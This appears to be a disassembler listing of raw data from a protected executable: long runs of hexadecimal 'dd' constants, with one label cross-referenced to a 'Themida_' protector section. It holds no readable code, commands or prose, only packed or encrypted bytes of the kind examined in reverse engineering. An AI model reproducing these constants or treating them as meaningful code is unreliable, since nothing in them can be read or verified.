		dd 0DE2215D0h, 0C0942C4Dh, 8587EB21h, 0CE4FB16Dh, 94C1E319h
		dd 0B71A600Ah, 321566B8h, 0C390EDB1h, 52137238h, 321568F9h
		dd 0E30ED988h, 7FE39C88h, 39DD9C64h, 3DBEF277h,	0B34EB637h
		dd 50A55494h, 88470757h, 0CDEA99EEh, 0CA4FB1A1h, 94CDE37Fh
		dd 0B71A6039h, 32156657h, 32108EE8h, 3C896644h,	0B98EACA3h
		dd 88753EC1h, 11864FD7h, 53743917h, 3BACE3A9h, 0BA1A6005h
		dd 3215668Dh, 0C8A39E24h, 33A83343h, 33156611h,	0DB753B67h
		dd 3215664Eh, 0EB0E2180h, 0D8D21B2Eh, 0D4957A9Dh, 0B72E075Ah
		dd 340EC0EAh, 3228E31Eh, 3FFC6688h, 91156644h, 0E07A255Fh
		dd 7B0728A7h, 7690FF00h, 36ACE3CFh, 0B3756036h,	0CD1A1FE1h
		dd 3191699Dh, 54156644h, 6374A9A9h, 0CDEA99A8h,	6BDA4F77h
		dd 31906924h, 3D156622h, 97490AEh, 29B3AA0Dh, 13906942h
		dd 0CA156622h, 3CC8E39Ah, 0BD1A609Ch, 3215664Ch, 54DBED42h
		dd 5358BCAFh, 3214DFD9h, 0FD146644h, 53EC067Bh,	6C4DB92h
		dd 3D15609Ch, 321FF9C0h, 0B3730622h, 526097DFh,	32157760h
		dd 38C7FD44h, 4CEB887Ah, 3FA25129h, 0BED739ECh,	3D4ABA5Eh
		dd 321566ABh, 9740711h,	29B33E0Dh, 0C906942h, 3D156622h
		dd 32156793h, 0B79E9E88h, 340177DDh, 0CDA833DEh, 1BEA99EEh
		dd 0BC1A3B67h, 3215664Bh, 32156CCBh, 0EE11h, 893E097Ah
		dd 3D81E23Bh, 32156AA8h, 34946911h, 3D156688h, 321566C6h
		dd 0DE905D22h, 3D137DB7h, 3215520Dh, 0B79E9344h, 3401736Bh
		dd 3205E71Eh, 39FC6688h, 9D156644h, 4E05C215h, 9FB04B7Bh
		dd 0CD429C50h, 0E9E4240h, 36D1E706h, 52156611h,	6C5FD9EEh
		dd 278ED922h, 6E905D43h, 3D137DB7h, 32152B0Dh, 3C976944h
		dd 52156622h, 321560F9h, 56CB6E88h, 6D212F72h, 3B90ED43h
		dd 0DB137221h, 3215668Fh, 0E6B7C42h, 64A345D3h,	321567AFh
		dd 6CE26788h, 23FC3424h, 20156622h, 6241205Eh, 56164D9Fh
		dd 2655EC81h, 393E3921h, 0F2A2694Eh, 0B72E9AE9h, 340EC024h
		dd 3241E32Dh, 22FC6611h, 0AE156688h, 957B573Fh,	0CB1B312h
		dd 69FD183Fh, 0DB8EE729h, 3215664Dh, 8DB1D297h,	0E83613BDh
		dd 9790ED37h, 3D13724Dh, 321561A6h, 0F39E0611h,	53CAEDEEh
		dd 88AB30B8h, 7447A67Ch, 93519090h, 0C53CCBB7h,	3592691Ah
		dd 3D156622h, 32156799h, 0B72E9F88h, 340EC020h,	3245E32Dh
		dd 3D756611h, 2A5BD3Fh,	0F390ED25h, 0DB137212h,	32156616h
		dd 4CA7C29h, 0DBB08426h, 32156631h, 27DA5FB8h, 0B3CFE367h
		dd 5F9C905Ah, 0AE2FBB9h, 61C348D7h, 0CDEA9933h,	69CA4FBBh
		dd 321577CBh, 3727E011h, 5369FBB6h, 0BBC8ACBFh,	0F2E3D138h
		dd 0B72E0C83h, 340EC0E0h, 3283E34Bh, 3BFC6622h,	0E1156611h
		dd 5C629C27h, 24E3F349h, 304CDBA1h, 3D156005h, 32151D0Dh
		dd 2A926944h, 3D156622h, 32157490h, 32188F88h, 1F76644h
		dd 491C4881h, 318BC03Dh, 0B92E25E1h, 260A43C1h,	0B3730624h
		dd 52BC53C2h, 537407E8h, 321572ADh, 0FD675D22h,	0F6420D45h
		dd 2BF1BBCFh, 3A22156Bh, 34A76D36h, 4BAB301Bh, 0F31B54F8h
		dd 0DCC463A2h, 0C494B8D5h, 5CED2849h, 14E3E7C6h, 33E746F2h
		dd 0B21A38D5h, 32156601h
		dd 32156D61h, 35A4B544h, 4172A9B9h, 30EEBF1Eh, 9479E3B3h
		dd 0B71A605Fh, 3215664Ch, 32156AF8h, 0E5C61A88h, 0E0DF08EEh
		dd 829214A1h, 32018FB6h, 157C6688h, 0FE12510h, 0BEDC5927h
		dd 29B8403Ah, 52DCCD67h, 0B79E10CCh, 34016B67h,	321561F8h
		dd 1EB71E88h, 0A6DB55DBh, 3200EE2Dh, 22FC6611h,	6F156688h
		dd 0C05DC2EBh, 871F07FFh, 22A106Bh, 3DD4155h, 3EC578Bh
		dd 0FD9227EDh, 32156FF8h, 0A6437388h, 28B5FCDFh, 0B72E072Ah
		dd 340EC061h, 3250E387h, 0BA1A6644h, 3215662Fh,	32156EF8h
		dd 47C02588h, 88193296h, 6BA8E5FCh, 32137213h, 3230E387h
		dd 3BFC6644h, 2A156622h, 0AA660410h, 6AFB2C70h,	1D8E3CFh
		dd 0B31A6036h, 32156610h, 0CDAC3771h, 1BEA99BBh, 9E93FEDh
		dd 29B31294h, 6390698Eh, 3D156644h, 321579A2h, 20FC0611h
		dd 95156688h, 14736EDh,	2A84F031h, 13A3A995h, 0DB87BF4Ch
		dd 329F698Ah, 53156622h, 1D4E39Ah, 22FC609Ch, 2D156644h
		dd 95152D09h, 0E07E37B3h, 0D4EA10B2h, 63FA8042h, 0CDEA999Bh
		dd 6BDA4FEEh, 0CBAA69E8h, 53CFD14Bh, 946DE319h,	0B71A600Ah
		dd 321566A2h, 0C9A26924h, 0B974A8A9h, 2609B394h, 321D8F8Eh
		dd 8E806644h, 11800EA3h, 88471B2Bh, 32156689h, 3D4FB145h
		dd 321567A7h, 0B72E9A11h, 340EC008h, 3252E34Bh,	0B2756622h
		dd 3D7461CAh, 32156E0Fh, 30996944h, 52156622h, 6BA8E570h
		dd 3213728Ah, 3232E34Bh, 0B9ED6622h, 26383F94h,	321E8F8Eh
		dd 0D9E76644h, 81AF3D29h, 38B64958h, 0CDAE3587h, 1BEA99BBh
		dd 0BF1A3DFDh, 32156610h, 4E905D74h, 3D137DE2h,	321538A7h
		dd 26906911h, 52156688h, 32156AACh, 731ED22h, 1EB71E33h
		dd 0A6DB5517h, 0B1743DB7h, 26173F9Fh, 0B71A6617h, 321566BFh
		dd 321576ADh, 1AE93322h, 0E816477Eh, 0B0F2F717h, 0C22D5799h
		dd 0CB90ED6Bh, 5213721Fh, 54EEEDEEh, 65749FCFh,	0B93162DDh
		dd 0F696422Dh, 8D1A068Ch, 4AD9D992h, 9744CF3h, 29B3E294h
		dd 7A90698Eh, 52156644h, 321575CAh, 1E88C811h, 9E79A708h
		dd 188C21D4h, 0D21CC363h, 0A094608Ah, 32048FD2h, 147C6644h
		dd 0EDC900A1h, 2D73A289h, 0FCB88DF4h, 534CDBEAh, 1F38E3A9h
		dd 0BB1A6005h, 32156689h, 33AD36BDh, 33156622h,	9EC3ED6h
		dd 29B3EE0Dh, 72906942h, 0CE156622h, 3EB8E39Ah,	0B11A609Ch
		dd 3215665Bh, 329E6942h, 0DB156611h, 3215669Ah,	7A6AA907h
		dd 8AC6A9E5h, 0CC2F6CF5h, 37487F9Ah, 6574A35Bh,	71317AA5h
		dd 6D317A96h, 32156061h, 3BDF1944h, 9E5F5DDh, 29B3EA94h
		dd 0E90698Eh, 52156644h, 3216E42Dh, 0B9736611h,	0EC940043h
		dd 0B9742CD9h, 26246BA7h, 339D6917h, 0CA156688h, 27DBD812h
		dd 0B3537C75h, 751C66F7h, 56FBE7D7h, 74020336h,	0AFFBE764h
		dd 3317879Fh, 9EC387Fh,	29B3F6C1h, 1D906924h, 3D156611h
		dd 3215670Ch, 0B9E99344h, 26119FA7h, 22FC9E17h,	7F156688h
		dd 0CB7191ADh, 0E661FBE4h, 69615C99h, 6386B9D5h, 0CDEA99FDh
		dd 6BDA4FDDh, 0B72E9FE4h, 340EC01Ch, 3257E34Bh,	88756622h
		dd 19248B9Ch, 9DB52331h, 0B79E0762h, 340156CBh,	3202E71Eh
		dd 0DB756688h, 32156654h, 0E0B216BAh, 0A1A2A2Fh, 169E126h
		dd 0E7AC1AD1h, 33AD3643h, 33156611h, 37FC3E4Fh,	27156644h
		dd 66FF4288h, 948DE32Ah, 0B71A6093h, 32156623h,	321576CBh
		dd 9CCB9411h, 55B3385h,	9E2327B9h, 16D2F00h, 26FD06A0h
		dd 0BB156688h, 233F2F70h, 0E58EC938h, 76F30B93h, 8AE743E2h
		dd 3D7A63A9h, 0B94DAE95h, 0B79E07DAh, 34017D31h, 0F09E0024h
		dd 53D5D92Dh, 3214DD42h, 0ED146688h, 851A061Fh,	321F8EF4h
		dd 26C96611h, 9A3AEEC7h, 0B5468D3Eh, 0B7DFE744h, 9743E9Ch
		dd 29B3FA0Dh, 70906942h, 52156622h, 319469EDh, 0B2156688h
		dd 0CB743986h, 39A8E3A9h, 26FC6005h, 7C156688h,	65DFF3CDh
		dd 337E22Fh, 96294586h,	0B031A40Fh, 62AC57A8h, 0CDEA999Ah
		dd 6AD24FEEh, 32156E61h, 1D673D44h, 0E93210F0h,	92905D26h
		dd 3D137D2Eh, 321522C1h, 32068F22h, 0A84C6611h,	0E3492C1Eh
		dd 0A5AF914Bh, 9296AEC0h, 0F9A083BCh, 1B90ED63h, 0CA137243h
		dd 3214DC70h, 0E5146611h, 32058FD2h, 0E3136644h, 7E35D8D3h
		dd 8CC19458h, 9E0C8525h, 0BD1AFE4Bh, 32156623h,	27905DE4h
		dd 3D1372ADh, 32155EC1h, 3F916922h, 0DB156611h,	32156680h
		dd 7B02E8B8h, 34213679h, 1D80E39Ah, 67E9609Ch, 174AAAF9h
		dd 0F9F8E770h, 3347434Eh, 38FC3B67h, 19156644h,	0FB18BC9Bh
		dd 0A3571E53h, 96905DA4h, 3D137DE2h, 321530A7h,	3F976911h
		dd 52156688h, 3215ED4Bh, 0B3736622h, 535C32E1h,	23FCE303h
		dd 0B01A6050h, 32156635h, 321574F8h, 74951D88h,	29708C33h
		dd 7DAB8005h, 6EA2E603h, 60127144h, 0CDEA99FEh,	68C24FDDh
		dd 321574F8h, 0D5924988h, 3F82ED2Ch, 0F9176D66h, 35EE9ADFh
		dd 95C3B7Dh, 29B386C1h,	40906924h, 0DB156611h, 3215668Eh
		dd 24B6BDC7h, 8F96B7F1h, 340EC0F9h, 1D906988h, 0DB156644h
		dd 3215662Ah, 0DCE1F860h, 3B875F6Ah, 3FB4DBC7h,	3D156036h
		dd 32152695h, 3D9C6988h, 0DB156644h, 32156628h,	83B1E0E7h
		dd 5893223Ah, 0B79E765Bh, 34016F5Fh, 321568F8h,	4B282688h
		dd 8CDC57D8h, 10FA3A6Ah, 64EA0AEBh, 32156736h, 6CE26744h
		dd 3216E32Dh, 0CE756611h, 0D6905DE9h, 3D137DE2h, 3215E0A7h
		dd 32068F11h, 20106688h, 35B0F94Ah, 0C56775EDh,	18E8F056h
		dd 0D3B37F85h, 0DAA8E50Bh, 32137D84h, 3255E31Eh, 0BC1A6688h
		dd 32156643h, 3214E32Dh, 0B1EC6611h, 2618C735h,	0B61A6642h
		dd 32156665h, 3212EF1Eh, 0B51A6688h, 32156645h,	3CFC06D7h
		dd 0D1156611h, 0F218BD9Dh, 0B5A4D47h, 0EC6E9527h, 0ABAC00E4h
		dd 0B79E0768h, 34014829h, 3214E62Dh, 63EC6611h,	0CDEA9931h
		dd 6BDA4FBBh, 9EAB0042h, 8D1A37D0h, 9743C41h, 29B3CEC1h
		dd 11906924h, 0DB156611h, 32156683h, 2D7A4009h,	0D53264ADh
		dd 0B97B88D9h, 26168B0Dh, 65E09A42h, 0B93162DDh, 0F696422Dh
		dd 0B72E9E8Ch, 340EC0E8h, 327CE32Dh, 3CFC6611h,	0B0156688h
		dd 6D61784Bh, 0F69630h,	80BDF191h, 8B90EDDDh, 0DB13724Ah
		dd 32156633h, 0E88EB234h, 8844E5CFh, 54A50665h,	0D2420111h
		dd 3A936908h, 3D156688h, 321564C5h, 60740622h, 2B2EFBABh
		dd 0D8FFE78Ch, 0B32A6D13h, 0D44F64C8h, 0D0942C52h, 479E496Dh
		dd 0D8948495h, 3013751Dh, 524FB110h, 1B59DE71h,	9742690h
		dd 29B3D6A7h, 57906917h, 3D156688h, 32157FC4h, 21926922h
		dd 0DB156611h, 32156686h, 6CD4A416h, 0C5D3658Fh, 94A78DAAh
		dd 0B79EEABCh, 34017FC5h, 3214EE2Dh, 63E96611h,	0B53C3131h
		dd 31FCA71Fh, 18FCE763h, 331E16F4h, 0B41A3F47h,	32156649h
		dd 32156ECBh, 7432DD11h, 78FED574h, 321B8F5Bh, 0F1C06622h
		dd 49617CA5h, 642ACA21h, 0DE1D59FAh, 94A1E319h,	0B71A600Ah
		dd 32156694h, 0AF90EDB1h, 5213723Dh, 0B3C5D11Eh, 0D309E140h
		dd 88470746h, 0CDEA99DDh, 0CB4FB138h, 94ADE3B3h, 0B71A605Fh
		dd 32156619h, 6F90EDE9h, 5213729Bh, 534A3524h, 321563CBh
		dd 39DB4611h, 6374AAB4h, 875E8AFDh, 0DFFCE75Ah,	1B6DD35Ah
		dd 22FC3F47h, 6D156644h, 0E3FDE201h, 1EDB1D92h,	0A0FEBD03h
		dd 9180B97h, 29B3DAA7h,	67906917h, 0DB156688h, 32156643h
		dd 9B542040h, 0B9E5FD2Bh
		dd 2604FF0Dh, 32198F42h, 12DB6622h, 36C7A3EDh, 85748687h
		dd 884759C3h, 32156623h, 3D4FB110h, 32156D06h, 8D730644h
		dd 78AA7B21h, 535E03C3h, 32157561h, 7875DD44h, 0C4BDDDC4h
		dd 0FF3CEB32h, 0FF280AE8h, 0D2CD05E8h, 0B61A9929h, 32156602h
		dd 3214E087h, 0DBED6644h, 0CDEA8B4Eh, 3214E41Eh, 9EC6688h
		dd 260413C1h, 26906924h, 0CE156611h, 162CE305h,	0DBED605Fh
		dd 0CDEA8B6Eh, 3214EE1Eh, 9EC6688h, 260B93C1h, 98906924h
		dd 3D156611h, 32156A0Eh, 349A6944h, 3D156622h, 32156694h
		dd 3A9E6988h, 52156644h, 8DEDEh, 0B1745CB6h, 29B36E35h
		dd 0B71A6742h, 3215665Fh, 3232EA1Eh, 0DB756688h, 3215664Bh
		dd 6D24100h, 595C616Eh,	780E24E2h, 0DA10ADEBh, 32156629h
		dd 800C57DDh, 58399974h, 6B07E239h, 0B7989E43h,	324C6D76h
		dd 32156361h, 92DEAA44h, 0FBFC5607h, 3DEA99FDh,	32157300h
		dd 32058F44h, 75156622h, 5CCB5418h, 5B873F7Eh, 0FE34C78h
		dd 5475BCBDh, 0DB9041AEh, 3215669Ch, 0BD305F6Bh, 0B96A6E0Ah
		dd 631CF2DDh, 2A790B88h, 0D51053DDh, 2A905D43h,	3D137DB7h
		dd 3215360Ch, 32108F44h, 2A056622h, 96D75ACh, 29B37A0Dh
		dd 72906942h, 3D156622h, 32157B99h, 25956988h, 0DB156644h
		dd 32156630h, 7E19E09Fh, 0B16089Dh, 0F045DFD5h,	87B59D65h
		dd 20FC0E09h, 22156688h, 733A53Bh, 0D366EDEh, 0ACA93AD6h
		dd 0F4A28CD1h, 0DE3B8FF7h, 8CE999DDh, 4D8761BCh, 49B78809h
		dd 0FC940EC8h, 8DF5D7Ah, 651388D0h, 0E706C837h,	6DEB6F05h
		dd 0DEA88A3h, 0B61A27EEh, 3215668Fh, 3214ED4Bh,	0B1EC6622h
		dd 0B71A67EFh, 321567A2h, 321FE54Bh, 37FC6622h,	3C156611h
		dd 0BFD525h, 9419E37Fh,	0B71A6039h, 32156674h, 3202E587h
		dd 20FC6644h, 31156622h, 5383A77h, 19733E9Ah, 1C2144h
		dd 6BE308FCh, 0F690EB83h, 0C7153E0Fh, 0CDFEC9ADh, 32AD06DDh
		dd 0DB5EB91Eh, 3215669Ah, 3A47C95Fh, 8EEE258Bh,	3C9D4E1Eh
		dd 16763E9Dh, 52749A09h, 584D99Dh, 321B8E3Fh, 0F1DF6688h
		dd 397B8BC7h, 0C66A0DBEh, 69C7908h, 6CF09308h, 22905D25h
		dd 3D137D84h, 32152F94h, 0ED9E0688h, 890EB25h, 52153EAAh
		dd 321575F8h, 0B9FCCF88h, 0F1509742h, 46BA4B06h, 0F85B982Fh
		dd 0B9E167BAh, 32156EADh, 0CAD0C422h, 544E61E0h, 3FC072Ch
		dd 52EA99AFh, 3217EA2Dh, 6C436611h, 0BF1A9AE8h,	32156644h
		dd 0B72E0743h, 340EC005h, 325DE387h, 37FC6644h,	70156622h
		dd 9803BE58h, 0BA6AE305h, 0CB75661Ch, 321569CBh, 31139B11h
		dd 34F60259h, 9637CF5Dh, 0A2A695FFh, 0D8F38F70h, 8B759977h
		dd 17E40178h, 53E2ED44h, 0A1AD0071h, 8D73061Ah,	0BD1A5919h
		dd 32156622h, 60450770h, 82606132h, 1641675Fh, 1F4D3C26h
		dd 29A51316h, 32156B61h, 5C173244h, 9765B10h, 0ADEC19D7h
		dd 5AE0C06Eh, 321529DDh, 5A316AABh, 0A071584h, 0A5E4E7D1h
		dd 0BB2D7437h, 0DBEC3FECh, 3215661Bh, 8B7E30DAh, 7E0A10DEh
		dd 0C41E601Ch, 322BE31Eh, 23FC6688h, 1156644h, 13338117h
		dd 0BE3AAA85h, 0ABC3959h, 3755C77Ch, 3200E52Dh,	22FC6611h
		dd 65156688h, 9F037300h, 6C947CA9h, 1408FDFCh, 0DB58B077h
		dd 0CDEA8C5Bh, 53E90642h, 0CA74A89Ah, 1639E7D8h, 675A5488h
		dd 7CAD367Ch, 722E9503h, 0F31D8E49h, 3A2064ACh,	334027ECh
		dd 0BBE03ED7h, 263B3F3Dh, 32138F42h, 0BABF6622h, 9C99D031h
		dd 177CD301h, 3D756050h, 58A6BD95h, 23FC0670h, 0E3156688h
		dd 0F0A7E90Bh, 0FBFFB5C3h, 0BA229590h, 23416BAFh, 321575ADh
		dd 7A1F0422h, 616213F9h, 0BAE6A21Bh, 9849F357h,	0FE12EAC7h
		dd 0DB2BE670h, 32FCE387h, 0B9756644h, 29F6E6D1h, 337D3570h
		dd 69156688h, 99E9545h,	0B3730679h, 52167ED0h, 8BC6EDEEh
		dd 4EE9EA63h, 0DD940743h, 50994B9Fh, 735EA109h,	0C5147E08h
		dd 735E89A3h, 0F5947E5Dh, 50994B06h, 269069BDh,	52156622h
		dd 32156DF8h, 8AB34888h, 3C904D05h, 0B556F32Ah,	0B1740771h
		dd 1E9C6264h, 0BBE0EF60h, 3CFC3BC9h, 73156611h,	0D390C202h
		dd 4892AA28h, 17088E02h, 32AA31FAh, 0B31566C8h,	201CE6AFh
		dd 0B3EE675Ch, 201CE6D2h, 0B21A39F6h, 32156649h, 0DC940042h
		dd 0BD1A4240h, 32156688h, 6BA85D25h, 3D13720Ch,	32157193h
		dd 3A9C6988h, 3D156644h, 321564A3h, 9740611h, 1A936973h
		dd 0CA156644h, 0CDFDBCCBh, 21FC06EEh, 6E156688h, 27138111h
		dd 0D47A51C2h, 8A43C7E7h, 2D1C4C19h, 3D4699BDh,	321566AFh
		dd 0B9743811h, 2604F735h, 239F6942h, 0DB156622h, 3215661Dh
		dd 99D24285h, 27FB97E5h, 4EA209Ah, 1870E3D6h, 3215609Ch
		dd 52E06644h, 5BA0EFDAh, 0DB137234h, 32156681h,	0E11AEBA5h
		dd 502E19DAh, 7188EB64h, 0C7137AA3h, 39E0B5BBh,	1D9169E2h
		dd 52156611h, 3217EC87h, 0ADA56644h, 19AA0042h,	32188F14h
		dd 0E8EF6688h, 0ACB23A44h, 0B9FB69F0h, 538F20FCh, 32B68FE9h
		dd 54756644h, 733D86A3h, 0AF9807E8h, 340CFD19h,	0BA1A0624h
		dd 32156622h, 3215E31Eh, 3D746688h, 321563CCh, 0C2940022h
		dd 0CD745F92h, 0B096695Bh, 0DBEA99BBh, 32156625h, 924751FCh
		dd 0CEB5A22Ah, 177CD3CFh, 21FC6036h, 4E156611h,	507B1400h
		dd 0B330B52Eh, 0AB40B015h, 76E2AF99h, 879CA4BDh, 34014C21h
		dd 0F49E0042h, 93DFE777h, 0AF980745h, 340FC763h, 321575CBh
		dd 0CEB38C11h, 5D588F9Bh, 6E789678h, 14546B60h,	0C54A59FAh
		dd 3DC69970h, 321576CBh, 321E8F22h, 87276611h, 0C80EB4BAh
		dd 0A8EEF70Fh, 6B90ED22h, 0DB13723Fh, 32156685h, 2509DE5Fh
		dd 60F6B675h, 790DB8C5h, 0B79C9EF7h, 3401432Dh,	0DBED07DBh
		dd 32156618h, 8CB1334Bh, 5B28D639h, 0DA2BE617h,	32DEE31Eh
		dd 0BC1A6688h, 32156645h, 3A8E5DBh, 3213720Dh, 32A2E287h
		dd 61E96644h, 83449B95h, 6BDDEEF7h, 524E9EA0h, 4FD5E722h
		dd 3DBF07E0h, 32157193h, 32078F88h, 0C9046644h,	0B5E63738h
		dd 0BED1E8FAh, 0F111B0DCh, 0CC6BAAD1h, 1621E774h, 17714F57h
		dd 0B1316203h, 74206280h, 3D30020Bh, 3215769Dh,	321E8F88h
		dd 12F06644h, 9D41550Fh, 0AB04DD24h, 1E0F4B04h,	0CA3C4819h
		dd 1E0FD975h, 0CA14484Ch, 89469FD7h, 32156640h,	9F516027h
		dd 1FCD4F72h, 51B8228Eh, 3A92691Fh, 3D156622h, 3215649Dh
		dd 99740688h, 321FEC4Bh, 65756622h, 72F3E749h, 53314C78h
		dd 3214E64Bh, 0DBE06622h, 32156439h, 32128F7Dh,	0D906644h
		dd 0AD93D56Bh, 0E88EBBCh, 0DB137A98h, 32156649h, 0C196EF96h
		dd 0FDC4FA08h, 21471635h, 379B69A3h, 52156622h,	53E7D91Eh
		db 77h,	0B5h
word_5FD1BE	dw 0BA1Ah		; DATA XREF: Themida_:005859B4o
		dd 3215665Ch, 321575CBh, 9B02D11h, 7863478h, 61DD7483h
		dd 624680D0h, 0BAA314Dh, 1405FB05h, 0CDE06058h,	3DFC06F1h
		dd 11156611h, 0F2E9CB49h, 0DC46C21Ch, 9D3D5AA5h, 0F09430A8h
		dd 127E6613h, 3DD56D25h, 32154EA7h, 72FC9311h, 3D156688h
		dd 321575C7h, 37FD0622h, 0A5156611h, 0F42B6A10h, 329D691Bh
		dd 53156622h, 0FF64DD71h, 0F19E7ABEh, 5B90E525h, 37137207h
		dd 321EEB1Eh, 3D756688h, 321566C2h, 0C39E0022h,	0CC628F70h
		dd 0BFE09977h, 2E3D20D9h, 0E1EA9A24h, 0B9733571h, 0B3733843h
		dd 536B4295h, 0B71AA629h, 32156635h, 0FBA09FE8h, 32518F25h
		dd 0B2756622h, 22FC47C3h, 95156688h, 0B1CB8743h, 53E5663Ch
		dd 51C16BB6h, 53DA51C8h, 0BB118AC7h, 36AC422Eh,	33156611h
		dd 3BFC3F42h, 9F156644h, 6A74FD33h, 1AFC921Eh, 32146561h
		dd 0E5A30644h, 8CFDE744h, 0AF98075Bh, 340CFD19h, 321561ADh
		dd 18033E22h, 50A41279h, 0B11AB577h, 32156665h,	5BA0EDD7h
		dd 0CA137234h, 323B6061h, 35FC0644h, 4F156622h,	6B92276Dh
		dd 0DA94C999h, 12BA61E4h, 5B98ED43h, 52137234h,	32156060h
		dd 90168F44h, 6A3AB8F7h, 879C07E4h, 340143E1h, 321FE74Bh
		dd 3D756622h, 32156692h, 53D4ED88h, 4334DC16h, 0D89456DCh
		dd 3B002ED8h, 1B4FB7A1h, 6AD4E7B5h, 52328F0Ah, 8CFEE777h
		dd 5385D240h, 16019115h, 3D75277Bh, 32156697h, 30936988h
		dd 52156644h, 0DC940743h, 629A4483h, 8B44A8A1h,	579178B2h
		dd 7C50AFA3h, 0B35407E6h, 48513169h, 70D4E71Bh,	331E7AFCh
		dd 0DA753FDFh, 3215668Fh, 577AAA10h, 0B3FB616Ch, 48ADC1E6h
		dd 0B31A3899h, 32156647h, 53DED12Dh, 0B91AC2E2h, 3215668Fh
		dd 3214EE4Bh, 0DBE06622h, 0CDEA9B08h, 3214E787h, 0CBE96644h
		dd 911AFBAFh, 0CDED600Bh, 3E92695Bh, 52156644h,	5BFDE44h
		dd 3215EA1Eh, 60746688h, 1639E713h, 0FE8252Ch, 3CD7E74Bh
		dd 0BB289BCBh, 3FFC3C94h, 0C5156622h, 8D042F7Ch, 82B288BBh
		dd 940E38C3h, 2384E309h, 0B71A6005h, 3215669Ah,	32156BADh
		dd 77BFDA22h, 6C0570DFh, 2113EB26h, 0B79CC41Fh,	340174B3h
		dd 321576F8h, 6AC3E688h, 0F422172Eh, 24572111h,	0DCBD05EDh
		dd 0A390ED86h, 3D137255h, 321561A4h, 33926911h,	0CA156688h
		dd 3267C52Ch, 1629EF22h, 0BF1A0671h, 32156688h,	63AB0025h
		dd 0BB470794h, 36D7E7F3h, 0B3156688h, 321562AEh, 1601E122h
		dd 1611EF4Dh, 321D8F71h, 6BC16644h, 7738ECB2h, 0BF985C26h
		dd 340FC32Bh, 32156FADh, 0CEA1EB22h, 0F12F2788h, 3BFC74BBh
		dd 0EE156644h, 100DE9B7h, 16A438ECh, 0B9E0B777h, 263637C1h
		dd 321A8F24h, 8E146611h, 0A9CAB345h, 0E64FE923h, 0FC4C1CA4h
		dd 32198FB3h, 6FC16688h, 339FEA96h, 0FF8D283Eh,	7B7D9948h
		dd 0BB1566FBh, 52754240h, 5F6BDF44h, 53740771h,	0B3F0EFDDh
		dd 32156281h, 36F8E522h, 6E314A96h, 52315A01h, 0F59E6FF2h
		dd 0A390ED43h, 3D137200h, 32157607h, 321E8F44h,	4F496622h
		dd 90F6307h, 0C14B09B7h, 0D19C35CEh, 3211A5A3h,	0D9946611h
		dd 3215668Ch, 6E317AC3h, 523162ABh, 0F1AA6943h,	32048FD6h
		dd 0C2626644h, 0E386687Ch, 8CB25A85h, 0D12CF396h, 53934B01h
		dd 94BCEBAFh, 6375600Bh, 68E3D187h, 3DC49925h, 32156FADh
		dd 8C730611h, 0E195E316h, 0B94507C7h, 0F6944236h, 32156615h
		dd 321EEB87h, 34FC6644h, 42156622h, 18DE6897h, 6943643h
		dd 7C0BED60h, 88473F27h, 375B789Ah, 0C74FB7B9h,	63984DBDh
		dd 3D137201h, 32156E99h, 30976988h, 52156644h, 2BA8E543h
		dd 32137221h, 3281E287h, 0B31A6644h, 32156634h,	3205EE1Eh
		dd 39FC6688h, 54156644h, 0B032115Bh, 434E3E8Ch,	0B79EB95Eh
		dd 340165CDh, 0B73E9ADAh, 34015608h, 0D2D2E7E8h, 8D0A5736h
		dd 5298ACCCh, 3DD45D70h, 3215330Eh, 3E9F6944h, 3D156622h
		dd 32156090h, 32926988h, 0B9156644h, 260713A7h,	0B7169F17h
		dd 34015691h, 321568ADh, 5714C322h, 0B670CB31h,	144ACEB2h
		dd 0BB7D87EDh, 2615DBA7h, 94FC9E17h, 52156689h,	32156AACh
		dd 71FC22h, 724D7A3Ah, 0F69A175Ah, 6AC7D4FBh, 0BB4607DAh
		dd 36D6E7F2h, 0B3156688h, 321562AFh, 1609E122h,	1619EF4Dh
		dd 0B34407E8h, 42C44270h, 369E5CBEh, 36D1E735h,	7156688h
		dd 8891695h, 0EC953642h, 0B81A3F3Dh, 32156688h,	33AB3025h
		dd 1B156622h, 0BB1A38E1h, 32156689h, 5A4233B1h,	7B48137Fh
		dd 90E2E74Eh, 0BB5C3BF2h, 0DA1C39B9h, 321E8F7Fh, 0DCAA6611h
		dd 4212B633h, 49200958h, 33AF34AAh, 33156611h, 0DB753C58h
		dd 32156649h, 55E6D765h, 8F76F86h, 4C3DC3EEh, 321E8F66h
		dd 3DFE6622h, 0DAED30F0h, 0A335A8Dh, 0B79C074Bh, 340165ABh
		dd 739067E9h, 3D1372A2h, 32156EC3h, 309C6922h, 52156611h
		dd 2B90A1E9h, 32137274h, 0DB156622h, 32156617h,	0E25580E9h
		dd 727F4D56h, 32156ACBh, 0CA1A6A11h, 45500BF3h,	0BF7FBA67h
		dd 22150EA8h, 0BE1A6611h, 32156689h, 22810EB1h,	3E9C6622h
		dd 327F9A35h, 3B80997Dh, 3D13725Ah, 321570A2h, 0C1940611h
		dd 694CDB50h, 32156EACh, 55949322h, 0A4F9DF54h,	0CD743E4Ch
		dd 26064BD1h, 3E9C6924h, 52156611h, 20D6DEEEh, 3215E74Bh
		dd 0BB746622h, 26071394h, 0B51A068Eh, 32156640h, 0C76ED944h
		dd 32156AF9h, 8A041E88h, 0A9578C46h, 5953FA9Ah,	321A8FD8h
		dd 51D86688h, 61964F8Fh, 4AA6DD7Dh, 0EACB727Ch,	0BB743E9Dh
		dd 2615DBC1h, 6EA9F24h,	0F6943F35h, 3215668Ch, 321576ADh
		dd 39F13122h, 4C160373h, 977247E3h, 1DD38D9Bh, 8FA09984h
		dd 0CB137211h, 1144D377h, 5AE06050h, 321565A1h,	3D315A98h
		dd 32156C06h, 53750644h, 5B85A6A3h, 0CD742EE6h,	2604F73Dh
		dd 26956942h, 3D156622h, 3215689Ah, 321C8F88h, 0BF7A6644h
		dd 7825509Fh, 0C7BE7547h, 8DC8E305h, 0B71A605Eh, 3215662Eh
		dd 3213E21Eh, 0BE1A6688h, 32156644h, 0C775B6DDh, 3215E31Eh
		dd 33746688h, 26257FC9h, 8F9E9E24h, 340166ACh, 32157561h
		dd 7EB92E44h, 144BC17h,	275C749h, 37CC173Ch, 7FCF1F17h
		dd 321D8F42h, 0BDDA6611h, 4092F2BAh, 0B37379E7h, 532848E5h
		dd 1144D39Ah, 22FC609Ch, 1D156644h, 157C59C7h, 0FE12545h
		dd 0BEDC598Dh, 0C1B8406Fh, 38986986h, 52156611h, 3215EC87h
		dd 6A476644h, 321D8F43h, 235A6611h, 434DC5CDh, 879E59F1h
		dd 3401624Fh, 32156FF8h, 3AEFE088h, 0DF567D05h,	0BD1A950Ch
